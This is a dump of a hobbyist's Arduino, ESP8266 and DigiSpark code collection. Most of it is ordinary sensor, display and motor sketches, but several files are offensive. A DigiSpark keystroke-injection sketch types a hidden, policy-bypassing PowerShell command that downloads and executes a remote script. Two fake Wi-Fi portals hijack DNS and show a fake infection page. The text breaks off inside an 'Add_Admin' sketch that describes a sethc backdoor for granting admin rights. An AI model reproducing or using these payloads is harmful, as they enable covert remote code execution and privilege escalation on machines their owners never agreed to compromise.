sensor value 20 | if (val == HIGH) { // check if the sensor is HIGH 21 | digitalWrite(led, HIGH); // turn LED ON 22 | delay(100); // delay 100 milliseconds 23 | 24 | if (state == LOW) { 25 | Serial.println("Motion detected!"); 26 | state = HIGH; // update variable state to HIGH 27 | } 28 | } 29 | else { 30 | digitalWrite(led, LOW); // turn LED OFF 31 | delay(200); // delay 200 milliseconds 32 | 33 | if (state == HIGH){ 34 | Serial.println("Motion stopped!"); 35 | state = LOW; // update variable state to LOW 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /Arduino/Displays/0.96 I2C IIC 128x64 OLED/scrollingtext/scrollingtext.ino: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | 4 | 5 | */ 6 | 7 | 8 | #include "U8glib.h" 9 | 10 | 11 | U8GLIB_SSD1306_128X64 u8g(U8G_I2C_OPT_NONE|U8G_I2C_OPT_DEV_0); // I2C / TWI 12 | int x = 0; 13 | int x2 = 0; 14 | 15 | 16 | void draw(void) { 17 | // graphic commands to redraw the complete screen should be placed here 18 | u8g.setFont(u8g_font_unifont); 19 | //u8g.setFont(u8g_font_osb21); 20 | u8g.drawStr( x, 22, "www.FilmsByKris.com!"); 21 | u8g.drawStr( x2, 44, "Believe in FREEDOM!!!"); 22 | } 23 | 24 | void setup(void) { 25 | 26 | // flip screen, if required 27 | // u8g.setRot180(); 28 | 29 | // set SPI backup if required 30 | //u8g.setHardwareBackup(u8g_backup_avr_spi); 31 | 32 | // assign default color value 33 | if ( u8g.getMode() == U8G_MODE_R3G3B2 ) { 34 | u8g.setColorIndex(255); // white 35 | } 36 | else if ( u8g.getMode() == U8G_MODE_GRAY2BIT ) { 37 | u8g.setColorIndex(3); // max intensity 38 | } 39 | else if ( u8g.getMode() == U8G_MODE_BW ) { 40 | u8g.setColorIndex(1); // pixel on 41 | } 42 | else if ( u8g.getMode() == U8G_MODE_HICOLOR ) { 43 | u8g.setHiColorByRGB(255,255,255); 44 | } 45 | 46 | //pinMode(8, OUTPUT); 47 | } 48 | 49 | void loop(void) { 50 | // picture loop 51 | u8g.firstPage(); 52 | do { 53 | draw(); 54 | x--; 55 | x2++; 56 | } while( u8g.nextPage() ); 57 | 58 | // rebuild the picture after some delay 59 | //delay(50); 60 | } 61 | 62 | -------------------------------------------------------------------------------- /Arduino/Sonar/BasicNoLibs_Inches/BasicNoLibs_Inches.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * created by Rui Santos, http://randomnerdtutorials.com 3 | * 4 | * Complete Guide for Ultrasonic Sensor HC-SR04 5 | * 6 | Ultrasonic sensor Pins: 7 | VCC: +5VDC 8 | Trig : Trigger (INPUT) - Pin2 9 | Echo: Echo (OUTPUT) - Pin 0 10 | GND: GND 11 | */ 12 | 13 | int trigPin = 2; //Trig - green Jumper 14 | int echoPin = 0; //Echo - yellow Jumper 15 | long duration, cm, inches; 16 | 17 | void setup() { 18 | //Serial Port begin 19 | Serial.begin (9600); 20 | //Define inputs and outputs 21 | pinMode(trigPin, OUTPUT); 22 | pinMode(echoPin, INPUT); 23 | } 24 | 25 | void loop() 26 | { 27 | 28 | 29 | // The sensor is triggered by a HIGH pulse of 10 or more microseconds. 30 | // Give a short LOW pulse beforehand to ensure a clean HIGH pulse: 31 | digitalWrite(trigPin, LOW); 32 | delayMicroseconds(5); 33 | digitalWrite(trigPin, HIGH); 34 | delayMicroseconds(10); 35 | digitalWrite(trigPin, LOW); 36 | 37 | // Read the signal from the sensor: a HIGH pulse whose 38 | // duration is the time (in microseconds) from the sending 39 | // of the ping to the reception of its echo off of an object. 40 | pinMode(echoPin, INPUT); 41 | duration = pulseIn(echoPin, HIGH); 42 | 43 | // convert the time into a distance 44 | cm = (duration/2) / 29.1; 45 | inches = (duration/2) / 74; 46 | 47 | Serial.print(inches); 48 | Serial.print("in, "); 49 | Serial.print(cm); 50 | Serial.print("cm"); 51 | Serial.println(); 52 | 53 | delay(250); 54 | } 55 | -------------------------------------------------------------------------------- /Arduino/Displays/LCD_Display/16pin/_16pinHelloWorld/_16pinHelloWorld.ino: -------------------------------------------------------------------------------- 1 | /* 2 | LiquidCrystal Library - Hello World 3 | 4 | Demonstrates the use a 16x2 LCD display. The LiquidCrystal 5 | library works with all LCD displays that are compatible with the 6 | Hitachi HD44780 driver. There are many of them out there, and you 7 | can usually tell them by the 16-pin interface. 8 | 9 | This sketch prints text to the LCD 10 | and shows the time. 11 | 12 | The circuit: 13 | LCD pin name RS EN DB4 DB5 DB6 DB7 14 | Arduino pin # 7 8 9 10 11 12 15 | 16 | Library originally added 18 Apr 2008 17 | by David A. Mellis 18 | library modified 5 Jul 2009 19 | by Limor Fried (http://www.ladyada.net) 20 | example added 9 Jul 2009 21 | by Tom Igoe 22 | modified 22 Nov 2010 23 | by Tom Igoe 24 | modified 16 July 2016 25 | by Kris Occhipinti 26 | 27 | This example code is in the public domain. 28 | 29 | https://learn.adafruit.com/character-lcds/wiring-a-character-lcd 30 | */ 31 | 32 | // include the library code: 33 | #include 34 | 35 | // initialize the library with the numbers of the interface pins 36 | LiquidCrystal lcd(7, 8, 9, 10, 11, 12); 37 | 38 | void setup() { 39 | // set up the LCD's number of columns and rows: 40 | lcd.begin(16, 2); 41 | // Print a message to the LCD. 42 | lcd.print("FilmsByKris.com!"); 43 | } 44 | 45 | void loop() { 46 | // set the cursor to column 0, line 1 47 | // (note: line 1 is the second row, since counting begins with 0): 48 | lcd.setCursor(0, 1); 49 | // print the number of seconds since reset: 50 | lcd.print(millis() / 1000); 51 | } 52 | -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | My Photos 5 | 6 | 7 | 8 | 9 | 10 | 11 | 30 | 31 | 43 | 44 | 45 |
46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /ESP8266/Displays/7SegmentDisplay/serialControl/serialControl.ino: -------------------------------------------------------------------------------- 1 | #include "LedControl.h" 2 | String inString = ""; 3 | int pos = 0; 4 | // Arduino Pin 5 to DIN, 4 to Clk, 2 to LOAD, no.of devices is 1 5 | LedControl lc = LedControl(5, 4, 2, 1); 6 | void setup() { 7 | Serial.begin(115200); 8 | // Initialize the MAX7219 device 9 | lc.shutdown(0, false); // Enable display 10 | lc.setIntensity(0, 10); // Set brightness level (0 is min, 15 is max) 11 | lc.clearDisplay(0); // Clear display register 12 | for (int i = 0; i < 8; i++) { 13 | lc.setDigit(0, i, i + 1, false); 14 | } 15 | } 16 | void loop() { 17 | 18 | // send data only when you receive data: 19 | if (Serial.available() > 0) { 20 | int inChar = Serial.read(); 21 | if (isDigit(inChar)) { 22 | inString = (char) inChar; 23 | 24 | } 25 | 26 | 27 | Serial.println(inChar); 28 | if(inChar == 114){ 29 | Serial.println("Reset..."); 30 | for (int i = 0; i < 8; i++) { 31 | lc.setDigit(0, i, 0, false); 32 | } 33 | pos = -1; 34 | }else if (inChar == '\n') { 35 | int x = inString.toInt(); 36 | Serial.print("I received: "); 37 | Serial.println(x); 38 | lc.setDigit(0, pos, x, false); 39 | pos++; 40 | if (pos > 7) { 41 | pos = 0; 42 | } 43 | } 44 | } 45 | } 46 | 47 | //To connect through Linux Shell 48 | //stty raw -echo < /dev/ttyUSB0 #activate connection 49 | //while [ 1 ];do for i in `seq 0 9`;do for x in `seq 0 9`;do echo $i > /dev/ttyUSB0;sleep .05;done;done;done #this loops through all digits 50 | -------------------------------------------------------------------------------- /Arduino/Displays/LEDDisplay/matrix/LCDemoMatrix/LCDemoMatrix.ino: -------------------------------------------------------------------------------- 1 | //We always have to include the library 2 | #include "LedControl.h" 3 | 4 | /* 5 | Now we need a LedControl to work with. 6 | ***** These pin numbers will probably not work with your hardware ***** 7 | pin 12 is connected to the DataIn 8 | pin 11 is connected to the CLK 9 | pin 10 is connected to LOAD 10 | We have only a single MAX72XX. 11 | */ 12 | LedControl lc=LedControl(12,11,10,1); 13 | 14 | /* we always wait a bit between updates of the display */ 15 | unsigned long delaytime=100; 16 | 17 | 18 | void setup() { 19 | /* 20 | The MAX72XX is in power-saving mode on startup, 21 | we have to do a wakeup call 22 | */ 23 | lc.shutdown(0,false); 24 | /* Set the brightness to a medium values */ 25 | lc.setIntensity(0,8); 26 | /* and clear the display */ 27 | lc.clearDisplay(0); 28 | } 29 | 30 | void cols(){ 31 | for(int col=0;col<8;col++) { 32 | for(int row=0;row<8;row++ ){ 33 | lc.setLed(0,row,col,true); 34 | } 35 | delay(delaytime); 36 | lc.clearDisplay(0); 37 | } 38 | 39 | for(int col=6;col>0;col--) { 40 | for(int row=0;row<8;row++ ){ 41 | lc.setLed(0,row,col,true); 42 | } 43 | delay(delaytime); 44 | lc.clearDisplay(0); 45 | } 46 | } 47 | 48 | 49 | void rows(){ 50 | for(int row=0;row<8;row++ ){ 51 | for(int col=0;col<8;col++) { 52 | lc.setLed(0,row,col,true); 53 | } 54 | delay(delaytime); 55 | lc.clearDisplay(0); 56 | } 57 | 58 | for(int row=6;row>0;row-- ){ 59 | for(int col=0;col<8;col++) { 60 | lc.setLed(0,row,col,true); 61 | } 62 | delay(delaytime); 63 | lc.clearDisplay(0); 64 | } 65 | } 66 | 67 | void loop() { 68 | for(int i=0;i<10;i++){ 69 | cols(); 70 | } 71 | for(int i=0;i<10;i++){ 72 | rows(); 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /ESP8266/EvilPortal/EvilPortal.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Original code by Captive Portal by: M. Ray Burnette 20150831 3 | See Notes tab for original code references and compile requirements 4 | 5 | This is a work in progress. 6 | This is just meant to be a joke to scare people 7 | I hope to add SDcard support in the future 8 | */ 9 | 10 | #include 11 | #include "./DNSServer.h" // Patched lib 12 | #include 13 | 14 | int c = 0; 15 | 16 | const byte DNS_PORT = 53; // Capture DNS requests on port 53 17 | IPAddress apIP(10, 10, 10, 1); // Private network for server 18 | DNSServer dnsServer; // Create the DNS object 19 | ESP8266WebServer webServer(80); // HTTP server 20 | 21 | String responseHTML = "" 22 | "Virus Detected" 23 | "" 24 | "

Your Device Is Now Infected

" 25 | "

You are Welcome.

" 26 | ""; 27 | 28 | void portal(){ 29 | c++; 30 | webServer.send(200, "text/html", responseHTML); 31 | } 32 | 33 | void setup() { 34 | WiFi.mode(WIFI_AP); 35 | WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); 36 | WiFi.softAP("Evil Portal"); 37 | 38 | // if DNSServer is started with "*" for domain name, it will reply with 39 | // provided IP to all DNS request 40 | dnsServer.start(DNS_PORT, "*", apIP); 41 | 42 | // replay to all requests with same HTML 43 | webServer.onNotFound(portal); 44 | 45 | webServer.on("/count", [](){ 46 | c--; 47 | String m = String(c, DEC); 48 | webServer.send(200, "text/plain", m); 49 | }); 50 | 51 | webServer.begin(); 52 | } 53 | 54 | void loop() { 55 | dnsServer.processNextRequest(); 56 | webServer.handleClient(); 57 | } 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /ESP8266/Displays/oled_all-in-one/BasicDemo/BasicDemo.ino: -------------------------------------------------------------------------------- 1 | // Include the correct display library 2 | // For a connection via I2C using Wire include 3 | #include // Only needed for Arduino 1.6.5 and earlier 4 | #include "SSD1306.h" // alias for `#include "SSD1306Wire.h"` 5 | 6 | // or #include "SH1106.h" alis for `#include "SH1106Wire.h"` 7 | // For a connection via I2C using brzo_i2c (must be installed) include 8 | // #include // Only needed for Arduino 1.6.5 and earlier 9 | // #include "SSD1306Brzo.h" 10 | // #include "SH1106Brzo.h" 11 | // For a connection via SPI include 12 | // #include // Only needed for Arduino 1.6.5 and earlier 13 | // #include "SSD1306Spi.h" 14 | // #include "SH1106SPi.h" 15 | 16 | // Initialize the OLED display using Wire library 17 | SSD1306 display(0x3c, 5,4); 18 | 19 | // SH1106 display(0x3c, 5,4); 20 | 21 | int xpos = 0; 22 | 23 | void setup() { 24 | Serial.begin(115200); 25 | 26 | Serial.println(); 27 | 28 | // Initialising the UI will init the display too. 29 | display.init(); 30 | display.flipScreenVertically(); 31 | display.setFont(ArialMT_Plain_16); 32 | } 33 | 34 | void drawDemo() { 35 | display.setFont(ArialMT_Plain_24); 36 | display.setTextAlignment(TEXT_ALIGN_CENTER); // The coordinates define the center of the screen! 37 | display.drawString(xpos%725/2-100,0,"Hello World"); 38 | 39 | display.setFont(ArialMT_Plain_16); 40 | display.setTextAlignment(TEXT_ALIGN_LEFT); // The coordinates define the center of the screen! 41 | display.drawString(0,24,"FilmsByKris.com"); 42 | 43 | display.setFont(ArialMT_Plain_24); 44 | display.setTextAlignment(TEXT_ALIGN_LEFT); // The coordinates define the center of the screen! 45 | display.drawString(xpos%128,40,"-"); 46 | } 47 | 48 | void loop() { 49 | display.clear(); // clear the display 50 | display.setTextAlignment(TEXT_ALIGN_RIGHT); 51 | drawDemo(); 52 | display.display(); 53 | delay(10); 54 | xpos = xpos + 2; 55 | } 56 | 57 | 58 | -------------------------------------------------------------------------------- /DigiSpark/keyboard/Windows/PS_Webserver/PS_Webserver.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | /* 3 | * Starts a power shell webserver 4 | * that allows for Download, uploading, and command execution 5 | * Copyright Kris Occhipinti Feb 28th 2017 6 | * htttp://FilmsByKris.com 7 | * 8 | This program is free software; you can redistribute it and/or modify 9 | it under the terms of the GNU General Public License as published by 10 | the Free Software Foundation; either version 3 of the License, or 11 | (at your option) any later version. 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | You should have received a copy of the GNU General Public License 17 | along with this program; if not, write to the Free Software Foundation, 18 | Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | https://www.gnu.org/licenses/gpl-3.0.txt 21 | 22 | */ 23 | 24 | 25 | void setup() { 26 | DigiKeyboard.update(); 27 | } 28 | 29 | 30 | void loop() { 31 | delay(100); 32 | DigiKeyboard.update(); // Keeps kepboard connected 33 | delay(100); 34 | // this is generally not necessary but with some older systems it seems to 35 | // prevent missing the first character after a delay: 36 | DigiKeyboard.sendKeyStroke(0); 37 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 38 | 39 | DigiKeyboard.delay(200); 40 | 41 | //load powershell script from remote location 42 | DigiKeyboard.println("powershell -windowstyle hidden -executionpolicy bypass \"IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/gpou37e');\""); 43 | 44 | // It's better to use DigiKeyboard.delay() over the regular Arduino delay() 45 | // if doing keyboard stuff because it keeps talking to the computer to make 46 | // sure the computer knows the keyboard is alive and connected 47 | DigiKeyboard.delay(5000); 48 | } 49 | -------------------------------------------------------------------------------- /ESP8266/CaptivePortal/CaptivePortal.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Captive Portal by: M. Ray Burnette 20150831 3 | See Notes tab for original code references and compile requirements 4 | Sketch uses 300,640 bytes (69%) of program storage space. Maximum is 434,160 bytes. 5 | Global variables use 50,732 bytes (61%) of dynamic memory, leaving 31,336 bytes for local variables. Maximum is 81,920 bytes. 6 | */ 7 | 8 | #include 9 | #include "./DNSServer.h" // Patched lib 10 | #include 11 | 12 | int c = 0; 13 | 14 | const byte DNS_PORT = 53; // Capture DNS requests on port 53 15 | IPAddress apIP(10, 10, 10, 1); // Private network for server 16 | DNSServer dnsServer; // Create the DNS object 17 | ESP8266WebServer webServer(80); // HTTP server 18 | 19 | /* Set these to your desired credentials. */ 20 | const char *ssid = "Virus"; 21 | const char *password = "....."; 22 | 23 | String responseHTML = "" 24 | 25 | "Virus Detected\n" 26 | "

Your Computer Is Now Infected!!!

You are Welcome.

\n" 27 | "\n" 28 | "\n"; 29 | 30 | 31 | void portal(){ 32 | c++; 33 | webServer.send(200, "text/html", responseHTML); 34 | } 35 | 36 | void setup() { 37 | WiFi.mode(WIFI_AP); 38 | WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); 39 | WiFi.softAP(ssid); 40 | 41 | // if DNSServer is started with "*" for domain name, it will reply with 42 | // provided IP to all DNS request 43 | dnsServer.start(DNS_PORT, "*", apIP); 44 | 45 | // replay to all requests with same HTML 46 | webServer.onNotFound(portal); 47 | 48 | webServer.on("/count", [](){ 49 | c--; 50 | String m = String(c, DEC); 51 | webServer.send(200, "text/plain", m); 52 | }); 53 | 54 | webServer.begin(); 55 | } 56 | 57 | void loop() { 58 | dnsServer.processNextRequest(); 59 | webServer.handleClient(); 60 | } 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /Arduino/GPS/TinyGPSPlus/TinyGPSPlus.ino: -------------------------------------------------------------------------------- 1 | #include "TinyGPS++.h" 2 | #include "SoftwareSerial.h" 3 | 4 | SoftwareSerial serial_connection(4, 3); //RX=pin 4, TX=pin 3 5 | TinyGPSPlus gps;//This is the GPS object that will pretty much do all the grunt work with the NMEA data 6 | void setup() 7 | { 8 | Serial.begin(9600);//This opens up communications to the Serial monitor in the Arduino IDE 9 | serial_connection.begin(9600);//This opens up communications to the GPS 10 | Serial.println("GPS Start");//Just show to the monitor that the sketch has started 11 | } 12 | 13 | void loop() 14 | { 15 | while(serial_connection.available())//While there are characters to come from the GPS 16 | { 17 | gps.encode(serial_connection.read());//This feeds the serial NMEA data into the library one char at a time 18 | } 19 | if(gps.location.isUpdated())//This will pretty much be fired all the time anyway but will at least reduce it to only after a package of NMEA data comes in 20 | { 21 | //Get the latest info from the gps object which it derived from the data sent by the GPS unit 22 | Serial.println("Satellite Count:"); 23 | Serial.println(gps.satellites.value()); 24 | Serial.println("Latitude:"); 25 | Serial.println(gps.location.lat(), 6); 26 | Serial.println("Longitude:"); 27 | Serial.println(gps.location.lng(), 6); 28 | Serial.println("Speed MPH:"); 29 | Serial.println(gps.speed.mph()); 30 | Serial.println("Altitude Feet:"); 31 | Serial.println(gps.altitude.feet()); 32 | Serial.println(""); 33 | } 34 | } 35 | 36 | /* 37 | * $GPRMC,183729,A,3907.356,N,12102.482,W,000.0,360.0,080301,015.5,E*6F 38 | $GPRMB,A,,,,,,,,,,,,V*71 39 | $GPGGA,183730,3907.356,N,12102.482,W,1,05,1.6,646.4,M,-24.1,M,,*75 40 | $GPGSA,A,3,02,,,07,,09,24,26,,,,,1.6,1.6,1.0*3D 41 | $GPGSV,2,1,08,02,43,088,38,04,42,145,00,05,11,291,00,07,60,043,35*71 42 | $GPGSV,2,2,08,08,02,145,00,09,46,303,47,24,16,178,32,26,18,231,43*77 43 | $PGRME,22.0,M,52.9,M,51.0,M*14 44 | $GPGLL,3907.360,N,12102.481,W,183730,A*33 45 | $PGRMZ,2062,f,3*2D 46 | $PGRMM,WGS 84*06 47 | $GPBOD,,T,,M,,*47 48 | $GPRTE,1,1,c,0*07 49 | $GPRMC,183731,A,3907.482,N,12102.436,W,000.0,360.0,080301,015.5,E*67 50 | $GPRMB,A,,,,,,,,,,,,V*71 51 | */ 52 | -------------------------------------------------------------------------------- /ESP8266/EvilPortal/DNSServer.h: -------------------------------------------------------------------------------- 1 | #ifndef DNSServer_h 2 | #define DNSServer_h 3 | #include 4 | 5 | #define DNS_QR_QUERY 0 6 | #define DNS_QR_RESPONSE 1 7 | #define DNS_OPCODE_QUERY 0 8 | 9 | enum class DNSReplyCode 10 | { 11 | NoError = 0, 12 | FormError = 1, 13 | ServerFailure = 2, 14 | NonExistentDomain = 3, 15 | NotImplemented = 4, 16 | Refused = 5, 17 | YXDomain = 6, 18 | YXRRSet = 7, 19 | NXRRSet = 8 20 | }; 21 | 22 | struct DNSHeader 23 | { 24 | uint16_t ID; // identification number 25 | unsigned char RD : 1; // recursion desired 26 | unsigned char TC : 1; // truncated message 27 | unsigned char AA : 1; // authoritive answer 28 | unsigned char OPCode : 4; // message_type 29 | unsigned char QR : 1; // query/response flag 30 | unsigned char RCode : 4; // response code 31 | unsigned char Z : 3; // its z! reserved 32 | unsigned char RA : 1; // recursion available 33 | uint16_t QDCount; // number of question entries 34 | uint16_t ANCount; // number of answer entries 35 | uint16_t NSCount; // number of authority entries 36 | uint16_t ARCount; // number of resource entries 37 | }; 38 | 39 | class DNSServer 40 | { 41 | public: 42 | DNSServer(); 43 | void processNextRequest(); 44 | void setErrorReplyCode(const DNSReplyCode &replyCode); 45 | void setTTL(const uint32_t &ttl); 46 | 47 | // Returns true if successful, false if there are no sockets available 48 | bool start(const uint16_t &port, 49 | const String &domainName, 50 | const IPAddress &resolvedIP); 51 | // stops the DNS server 52 | void stop(); 53 | 54 | private: 55 | WiFiUDP _udp; 56 | uint16_t _port; 57 | String _domainName; 58 | unsigned char _resolvedIP[4]; 59 | int _currentPacketSize; 60 | unsigned char* _buffer; 61 | DNSHeader* _dnsHeader; 62 | uint32_t _ttl; 63 | DNSReplyCode _errorReplyCode; 64 | 65 | void downcaseAndRemoveWwwPrefix(String &domainName); 66 | String getDomainNameWithoutWwwPrefix(); 67 | bool requestIncludesOnlyOneQuestion(); 68 | void replyWithIP(); 69 | void replyWithCustomCode(); 70 | }; 71 | #endif 72 | 73 | -------------------------------------------------------------------------------- /ESP8266/Motors/BasicServoWebHost/BasicServoWebHost.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | Servo myservo; // create servo object to control a servo 7 | int smotor = 4 //Servo Motor Data to GPIO#4 - nodemcu pin D2 8 | 9 | const char* ssid = "...."; 10 | const char* password = "...."; 11 | 12 | ESP8266WebServer server(80); 13 | 14 | const int led = 13; 15 | 16 | void handleRoot() { 17 | digitalWrite(led, 1); 18 | server.send(200, "text/plain", "Launch!"); 19 | myservo.write(180); 20 | delay(1000); 21 | digitalWrite(led, 0); 22 | myservo.write(0); 23 | } 24 | 25 | void handleNotFound(){ 26 | digitalWrite(led, 1); 27 | String message = "File Not Found\n\n"; 28 | message += "URI: "; 29 | message += server.uri(); 30 | message += "\nMethod: "; 31 | message += (server.method() == HTTP_GET)?"GET":"POST"; 32 | message += "\nArguments: "; 33 | message += server.args(); 34 | message += "\n"; 35 | for (uint8_t i=0; i 4 | 5 | #define DNS_QR_QUERY 0 6 | #define DNS_QR_RESPONSE 1 7 | #define DNS_OPCODE_QUERY 0 8 | 9 | enum class DNSReplyCode 10 | { 11 | NoError = 0, 12 | FormError = 1, 13 | ServerFailure = 2, 14 | NonExistentDomain = 3, 15 | NotImplemented = 4, 16 | Refused = 5, 17 | YXDomain = 6, 18 | YXRRSet = 7, 19 | NXRRSet = 8 20 | }; 21 | 22 | struct DNSHeader 23 | { 24 | uint16_t ID; // identification number 25 | unsigned char RD : 1; // recursion desired 26 | unsigned char TC : 1; // truncated message 27 | unsigned char AA : 1; // authoritive answer 28 | unsigned char OPCode : 4; // message_type 29 | unsigned char QR : 1; // query/response flag 30 | unsigned char RCode : 4; // response code 31 | unsigned char Z : 3; // its z! reserved 32 | unsigned char RA : 1; // recursion available 33 | uint16_t QDCount; // number of question entries 34 | uint16_t ANCount; // number of answer entries 35 | uint16_t NSCount; // number of authority entries 36 | uint16_t ARCount; // number of resource entries 37 | }; 38 | 39 | class DNSServer 40 | { 41 | public: 42 | DNSServer(); 43 | void processNextRequest(); 44 | void setErrorReplyCode(const DNSReplyCode &replyCode); 45 | void setTTL(const uint32_t &ttl); 46 | 47 | // Returns true if successful, false if there are no sockets available 48 | bool start(const uint16_t &port, 49 | const String &domainName, 50 | const IPAddress &resolvedIP); 51 | // stops the DNS server 52 | void stop(); 53 | 54 | private: 55 | WiFiUDP _udp; 56 | uint16_t _port; 57 | String _domainName; 58 | unsigned char _resolvedIP[4]; 59 | int _currentPacketSize; 60 | unsigned char* _buffer; 61 | DNSHeader* _dnsHeader; 62 | uint32_t _ttl; 63 | DNSReplyCode _errorReplyCode; 64 | 65 | void downcaseAndRemoveWwwPrefix(String &domainName); 66 | String getDomainNameWithoutWwwPrefix(); 67 | bool requestIncludesOnlyOneQuestion(); 68 | void replyWithIP(); 69 | void replyWithCustomCode(); 70 | }; 71 | #endif 72 | 73 | -------------------------------------------------------------------------------- /ESP8266/Displays/Matrix/MatrixPortal/DNSServer.h: -------------------------------------------------------------------------------- 1 | #ifndef DNSServer_h 2 | #define DNSServer_h 3 | #include 4 | 5 | #define DNS_QR_QUERY 0 6 | #define DNS_QR_RESPONSE 1 7 | #define DNS_OPCODE_QUERY 0 8 | 9 | enum class DNSReplyCode 10 | { 11 | NoError = 0, 12 | FormError = 1, 13 | ServerFailure = 2, 14 | NonExistentDomain = 3, 15 | NotImplemented = 4, 16 | Refused = 5, 17 | YXDomain = 6, 18 | YXRRSet = 7, 19 | NXRRSet = 8 20 | }; 21 | 22 | struct DNSHeader 23 | { 24 | uint16_t ID; // identification number 25 | unsigned char RD : 1; // recursion desired 26 | unsigned char TC : 1; // truncated message 27 | unsigned char AA : 1; // authoritive answer 28 | unsigned char OPCode : 4; // message_type 29 | unsigned char QR : 1; // query/response flag 30 | unsigned char RCode : 4; // response code 31 | unsigned char Z : 3; // its z! reserved 32 | unsigned char RA : 1; // recursion available 33 | uint16_t QDCount; // number of question entries 34 | uint16_t ANCount; // number of answer entries 35 | uint16_t NSCount; // number of authority entries 36 | uint16_t ARCount; // number of resource entries 37 | }; 38 | 39 | class DNSServer 40 | { 41 | public: 42 | DNSServer(); 43 | void processNextRequest(); 44 | void setErrorReplyCode(const DNSReplyCode &replyCode); 45 | void setTTL(const uint32_t &ttl); 46 | 47 | // Returns true if successful, false if there are no sockets available 48 | bool start(const uint16_t &port, 49 | const String &domainName, 50 | const IPAddress &resolvedIP); 51 | // stops the DNS server 52 | void stop(); 53 | 54 | private: 55 | WiFiUDP _udp; 56 | uint16_t _port; 57 | String _domainName; 58 | unsigned char _resolvedIP[4]; 59 | int _currentPacketSize; 60 | unsigned char* _buffer; 61 | DNSHeader* _dnsHeader; 62 | uint32_t _ttl; 63 | DNSReplyCode _errorReplyCode; 64 | 65 | void downcaseAndRemoveWwwPrefix(String &domainName); 66 | String getDomainNameWithoutWwwPrefix(); 67 | bool requestIncludesOnlyOneQuestion(); 68 | void replyWithIP(); 69 | void replyWithCustomCode(); 70 | }; 71 | #endif 72 | 73 | -------------------------------------------------------------------------------- /ESP8266/Displays/SPI 1.8 TFT/graphicstest/graphicstest.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * ESP Code for 1.8" TFT SPI Display 3 | * This code is not working correctly yet. 4 | * Use the Adafruit_ILI9340 that came with this code 5 | * at the time of writing this the Adafruit_ILI9340 lib 6 | * that is supplied by Arduino doesn't work at all 7 | * (although maybe it does by the time you are reading this) 8 | * 9 | * Pinout: 10 | * LED - 3.3V 11 | * SCK - D5 - GPIO #14 12 | * SDA - D7 - GPIO #13 13 | * AO - D4 - GPIO #02 14 | * RESET - RST 15 | * CS - D1 - GPIO #5 16 | * GND - GND 17 | * VCC - 3.3V 18 | */ 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | #if defined(__SAM3X8E__) 25 | #undef __FlashStringHelper::F(string_literal) 26 | #define F(string_literal) string_literal 27 | #endif 28 | 29 | #define _sclk 14 30 | #define _miso 12 31 | #define _mosi 13 32 | #define _cs 15 33 | #define _dc 2 34 | #define _rst 4 35 | 36 | // Using software SPI is really not suggested, its incredibly slow 37 | //Adafruit_ILI9340 tft = Adafruit_ILI9340(_cs, _dc, _mosi, _sclk, _rst, _miso); 38 | // Use hardware SPI 39 | Adafruit_ILI9340 tft = Adafruit_ILI9340(_cs, _dc, _rst); 40 | 41 | void setup() { 42 | Serial.begin(9600); 43 | 44 | Serial.println("Adafruit 2.2\" SPI TFT Test!"); 45 | 46 | tft.begin(); 47 | //testFillScreen(); 48 | delay(2000); 49 | } 50 | 51 | void loop(void) { 52 | for(uint8_t rotation=0; rotation<4; rotation++) { 53 | tft.setRotation(rotation); 54 | testText(); 55 | delay(2000); 56 | } 57 | //testFillScreen(); 58 | } 59 | 60 | 61 | unsigned long testFillScreen() { 62 | tft.fillScreen(ILI9340_BLACK); 63 | tft.fillScreen(ILI9340_RED); 64 | tft.fillScreen(ILI9340_GREEN); 65 | tft.fillScreen(ILI9340_BLUE); 66 | tft.fillScreen(ILI9340_BLACK); 67 | } 68 | 69 | unsigned long testText() { 70 | tft.fillScreen(ILI9340_BLACK);; 71 | tft.setCursor(0, 0); 72 | tft.setTextColor(ILI9340_WHITE); tft.setTextSize(1); 73 | tft.println("Hello World!"); 74 | tft.setTextColor(ILI9340_RED); tft.setTextSize(2); 75 | tft.println("Films By Kris!"); 76 | tft.setTextColor(ILI9340_GREEN); tft.setTextSize(1); 77 | tft.println("Is this Backwards?"); 78 | 79 | } 80 | 81 | -------------------------------------------------------------------------------- /DigiSpark/keyboard/Windows/Add_Admin/Add_Admin.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | /* 3 | * Starts a cmd after cmd is copied to sethc 4 | * and makes users admin 5 | * Copyright Kris Occhipinti Feb 28th 2017 6 | * htttp://FilmsByKris.com 7 | * 8 | This program is free software; you can redistribute it and/or modify 9 | it under the terms of the GNU General Public License as published by 10 | the Free Software Foundation; either version 3 of the License, or 11 | (at your option) any later version. 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | You should have received a copy of the GNU General Public License 17 | along with this program; if not, write to the Free Software Foundation, 18 | Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | https://www.gnu.org/licenses/gpl-3.0.txt 21 | 22 | */ 23 | 24 | 25 | void setup() { 26 | 